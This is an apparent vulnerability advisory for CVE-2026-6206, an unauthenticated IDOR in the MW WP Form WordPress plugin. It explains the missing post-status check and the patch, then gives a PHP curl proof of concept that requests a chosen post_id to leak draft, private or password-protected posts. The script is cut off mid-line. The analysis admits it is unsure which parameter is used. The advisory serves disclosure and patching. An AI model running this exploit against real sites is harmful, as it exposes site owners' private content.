CVE-2026-6206: MW WP Form <= 5.1.2 – Insecure Direct Object Reference to Unauthenticated Sensitive Information Disclosure via 'post_id' Query Parameter (mw-wp-form)

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-6206: This is an Insecure Direct Object Reference (IDOR) vulnerability in the MW WP Form plugin for WordPress, affecting versions up to and including 5.1.2. The flaw resides in the `_get_post_property_from_querystring()` method of the `class.parser.php` file, which fails to restrict access to non-public posts. It allows unauthenticated attackers to extract sensitive information from password protected, private, or draft posts.

The root cause is in `mw-wp-form/classes/models/class.parser.php`, specifically within the method that handles the `_get_post_property_from_querystring()` function. The vulnerable code path lacks any authorization or status check before returning post properties when using the `mwform_post` shortcode or similar features. The parser retrieves data from any post specified via a query parameter without verifying the post’s `post_status` or password protection. Atomic Edge research confirms the vulnerable function was completely missing the `post_status` and `post_password_required()` checks that the patch introduces.

An attacker can exploit this by sending a crafted request to any page containing an MW WP Form, manipulating a query parameter (likely `post_id` or similar) to reference a draft, private, or password-protected post. Since the plugin processes this parameter directly through the vulnerable `_get_post_property_from_querystring()` method, it would return post content, titles, or metadata that should require authentication or the correct password. No authentication is required, making this accessible to any unauthenticated user.

The patch adds two critical checks in `class.parser.php` at line 137: `if ( ‘publish’ !== $post->post_status || post_password_required( $post ) ) { return; }`. Before this fix, the function would blindly process any post ID. After the patch, it immediately exits if the post is not published or if it is password protected. This prevents unauthorized data exposure by enforcing proper access controls before returning any post properties.

Successful exploitation allows an unauthenticated attacker to read the full content, title, and metadata of any post with a non-public status, including draft posts, private posts, and password-protected posts. This can expose sensitive business data, internal planning documents, or hidden content. The CVSS score of 5.3 reflects medium severity due to confidentiality impact without requiring authentication.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-6206 – MW WP Form <= 5.1.2 – Insecure Direct Object Reference to Unauthenticated Sensitive Information Disclosurenn$target_url = 'http://example.com'; // Change this to the vulnerable site URLn$post_id_to_leak = 123; // Change this to a draft, private, or password-protected post IDnn// Step 1: First, find a page with MW WP Form that exposes a querystring parametern// We'll attempt to trigger the parser via a common form actionnn$exploit_url = $target_url . '/?post_id=' . $post_id_to_leak;nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $exploit_url);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(n 'User-Agent: AtomicEdge-PoC/1.0'n));nn$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnecho "[+] Atomic Edge CVE-2026-6206 PoC\n";necho "[+] Target: $target_url\n";necho "[+] Attempting to leak post ID: $post_id_to_leak\n";necho "[+] HTTP Response Code: $http_code\n\n";nnif ($response) {n // Check if the response contains the leaked post content or titlen if (preg_match('/